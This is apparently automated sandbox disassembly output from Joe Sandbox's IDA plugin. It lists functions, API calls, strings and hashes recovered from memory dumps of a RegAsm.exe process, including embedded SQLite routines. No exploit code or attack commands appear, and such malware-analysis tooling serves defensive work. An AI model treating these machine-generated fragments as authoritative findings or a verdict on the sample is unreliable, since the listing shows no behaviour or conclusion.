Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseH_prologHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 1628159694-0
Opcode ID: 53caff0e473cfa85726e3c0e16e5b2cf701e344f27a2a358bc1c6c031573df49
Instruction ID: e9ad4f972dd87a98a913caa6f0350bb6e054dc857a7db03b2a5ca278fbcbe3de
Opcode Fuzzy Hash: 53caff0e473cfa85726e3c0e16e5b2cf701e344f27a2a358bc1c6c031573df49
Instruction Fuzzy Hash: 8B317C71901228ABDB21EBA0CC49DEFBB7DFF09350F10042AF506E2191D7785A84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040FEA4 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000104,00000001,00000000,?,00410983,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FEB0
lstrcpyn.KERNEL32(0063F728,?,00000000,00000104,?,00410983,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FEC9
lstrlenA.KERNEL32(00000104,?,00410983,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FEDB
wsprintfA.USER32 ref: 0040FEED

Strings

%s%s, xrefs: 0040FEE7

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: e92cff456060258149841d4bb495c405314cdc161fe95fe92087355cc49e3ce9
Instruction ID: df5a5b5f159a13b6baa99ac3a7e21560887ff36d1ae897044455795c8e3c6100
Opcode Fuzzy Hash: e92cff456060258149841d4bb495c405314cdc161fe95fe92087355cc49e3ce9
Instruction Fuzzy Hash: 34F054326001297BDB011F59AC48AABBFAEEF5A7A5F040036FD0893211C772591587E5

Uniqueness

Uniqueness Score: -1.00%

Function 00419181 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041918D

Part of subcall function 00419364: __getptd_noexit.LIBCMT ref: 00419367
Part of subcall function 00419364: __amsg_exit.LIBCMT ref: 00419374

__getptd.LIBCMT ref: 004191A4
__amsg_exit.LIBCMT ref: 004191B2
__lock.LIBCMT ref: 004191C2
__updatetlocinfoEx_nolock.LIBCMT ref: 004191D6

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d31de9daf591632f542482bda8f730c6c683c8fd1dd29d8e9bcaa23dedb6ee0d
Instruction ID: 9dd8d7685a1afa9795b6892bed10e6d741995b5cd10fedb1a919315536b17d2a
Opcode Fuzzy Hash: d31de9daf591632f542482bda8f730c6c683c8fd1dd29d8e9bcaa23dedb6ee0d
Instruction Fuzzy Hash: A6F09632A40711AAEB21BB76581A7CD32A06F04B28F14414FF411672D2CF2C5EC1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004078DF Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 441stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004078E4

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

lstrlenA.KERNEL32(00000000), ref: 00407E33
lstrlenA.KERNEL32(00000000), ref: 00407E47

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 004063FD: _EH_prolog.MSVCRT ref: 00406402
Part of subcall function 004063FD: memcmp.MSVCRT ref: 00406428
Part of subcall function 004063FD: memset.MSVCRT ref: 00406457
Part of subcall function 004063FD: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00000000,00000000), ref: 0040648C

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

#, xrefs: 00407E77

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$AllocCreateLocalObjectSingleThreadWaitmemcmpmemset
String ID: #
API String ID: 3207582090-1885708031
Opcode ID: 95ab6ae9d41267cd4cbe941da05c12f5f9fec3af852a616dafe1bc6877076ef3
Instruction ID: d6daef34dd889aade97a6d088ac326fffd9d4fa63bfd2f3c0a532a041e6e8760
Opcode Fuzzy Hash: 95ab6ae9d41267cd4cbe941da05c12f5f9fec3af852a616dafe1bc6877076ef3
Instruction Fuzzy Hash: FD125E71804148EADB05EBE6C956FEEBB78AF15308F1044BEE442731C2DB781B58DB66

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B73C0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

fts5: syntax error near "%.*s", xrefs: 1B5B751C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: fts5: syntax error near "%.*s"
API String ID: 0-498961494
Opcode ID: 104b3a3073fad71d278320154e199e3180d02c375d8795ad79224adb6594ca3f
Instruction ID: a5b28d1759a4617f53b45815f8538d691fafa095175a8218aaefd7a8c806cae9
Opcode Fuzzy Hash: 104b3a3073fad71d278320154e199e3180d02c375d8795ad79224adb6594ca3f
Instruction Fuzzy Hash: DDB1AE708043419FE714CF24C984B9BBBE9BF94308F18495DF8D997240E775E98ACBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AF7F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

integer overflow, xrefs: 1B4AF8ED

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: integer overflow
API String ID: 0-1678498654
Opcode ID: cb227db4fcfefdc9eb0f5bce7329ee6f4d61a2e21a162d4df8e27e99ed85d94c
Instruction ID: b066d0a1d22195a97db6aac6ef6cca5b169486834b94e4fd1df0976b0b7a32d8
Opcode Fuzzy Hash: cb227db4fcfefdc9eb0f5bce7329ee6f4d61a2e21a162d4df8e27e99ed85d94c
Instruction Fuzzy Hash: EB11D375C047216ADF01BF34BC01BCA7BA95F6A324F05835DE4969A2E2E76091D9C3D3

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B82E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

[%d], xrefs: 1B4B84C7

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: [%d]
API String ID: 0-394612830
Opcode ID: c9c2ab3a1b9d10b60aaa7b8c3a8d83901afa7334c6514d1f4b9513d05debeca8
Instruction ID: a4a2688be776aacc3f4034080c0ba71da1231124f2c1b4142a91ce67572a1807
Opcode Fuzzy Hash: c9c2ab3a1b9d10b60aaa7b8c3a8d83901afa7334c6514d1f4b9513d05debeca8
Instruction Fuzzy Hash: CB71E3B5908341AEFB20CB20DE81FE777E9AB85704F44891DE68582681F735F549CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1B596180 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 216COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B596391
%s at line %d of [%.10s], xrefs: 1B596396
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B596387

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 2828baff745f48db3ec292c075e835b153039b9630abc7c9cafd21bf68bcceec
Instruction ID: bc6a22cb9c6bec40b1c7343e0c012322df67a22a93ef240302d865b301124d3b
Opcode Fuzzy Hash: 2828baff745f48db3ec292c075e835b153039b9630abc7c9cafd21bf68bcceec
Instruction Fuzzy Hash: B371D576A082518BEF04DF14E8C17EA7BE1EF44324F950999FC85CB292E735E889C761

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A7D30 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

winShmMap1, xrefs: 1B4A7DC5
winShmMap3, xrefs: 1B4A7F1D
winShmMap2, xrefs: 1B4A7E1F

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 0-3826999013
Opcode ID: fb21d9b83ed107f5166a5a41e177276402d34ee1ca17ead0efcdf483f45bbc53
Instruction ID: 8da185322f4fb6562e85f72c18cf52d5e3ce6badc4343b445695ad83288d473d
Opcode Fuzzy Hash: fb21d9b83ed107f5166a5a41e177276402d34ee1ca17ead0efcdf483f45bbc53
Instruction Fuzzy Hash: 2961ABB16007419FDB24CF34CC81AA7B7E9AFA8744F01896DF98797251EB34E909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1B640FC2 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 1B640FE7
CatchIt.LIBVCRUNTIME ref: 1B6410CD

Strings

MOC, xrefs: 1B640FF9
RCC, xrefs: 1B641001

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 79b1bb187d3271987d47799367df50a4880768553b224889993c2d336ed04611
Instruction ID: 0e6d50f213cd16d45b1fd53c8722e6f948691e91b8ac9c3f670cdb4ed35b72d3
Opcode Fuzzy Hash: 79b1bb187d3271987d47799367df50a4880768553b224889993c2d336ed04611
Instruction Fuzzy Hash: 8F4179B5A00649EFCF15CF95CD82AEE7FB5FF58300F248059E91467210D735AA50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A4CE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

temp, xrefs: 1B533F91
wrong number of vtable arguments, xrefs: 1B533FA9

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: temp$wrong number of vtable arguments
API String ID: 0-2849069181
Opcode ID: ea97c32162853ce65ad632d69162a33b59c76c65121e586272c88bbec71c6dc9
Instruction ID: 9c7ab2336b3d5f2ed02949674fce3f5870e638fc957363eea19668f3844b1567
Opcode Fuzzy Hash: ea97c32162853ce65ad632d69162a33b59c76c65121e586272c88bbec71c6dc9
Instruction Fuzzy Hash: 4C51AFB9A043458FDB15CF24D4905DABBF1BF89304F444A6DE4865B321D332E94ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D35E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4D35F4
%s at line %d of [%.10s], xrefs: 1B4D35F9
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D35EA

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 8c7df07536abd1870e1c365c22b35c16b61c63fc8795b175223560d99dd2e24f
Instruction ID: a923a06f595b3deeb8a56d3f4b8c13f0321ca1f8cc068aea8c949c0712e927f8
Opcode Fuzzy Hash: 8c7df07536abd1870e1c365c22b35c16b61c63fc8795b175223560d99dd2e24f
Instruction Fuzzy Hash: 5051E1F5E00711AFDB148F18C8D4A96BBB4BF64724F09C25CE8995B342D331E850CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1B5496B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 136COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B5497EA
%s at line %d of [%.10s], xrefs: 1B5497EF
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5497E0

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 24554fc780079735f151fbe592e322dc13a9cdd5f6bb96b0bf8866ed0d5f6158
Instruction ID: 7651bb36ed55757b85742083248b67717184af183d9e3c4f24c32e0069592332
Opcode Fuzzy Hash: 24554fc780079735f151fbe592e322dc13a9cdd5f6bb96b0bf8866ed0d5f6158
Instruction Fuzzy Hash: DE4159766047908FE7218F7C94416D7FFF0DF82221F6849AED2C58B652F262E482D361

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A0300 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 128COMMON

Download Yara Rule

Strings

winWrite1, xrefs: 1B4A045E
winWrite2, xrefs: 1B4A043B
delayed %dms for lock/sharing conflict at line %d, xrefs: 1B4A03FF

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
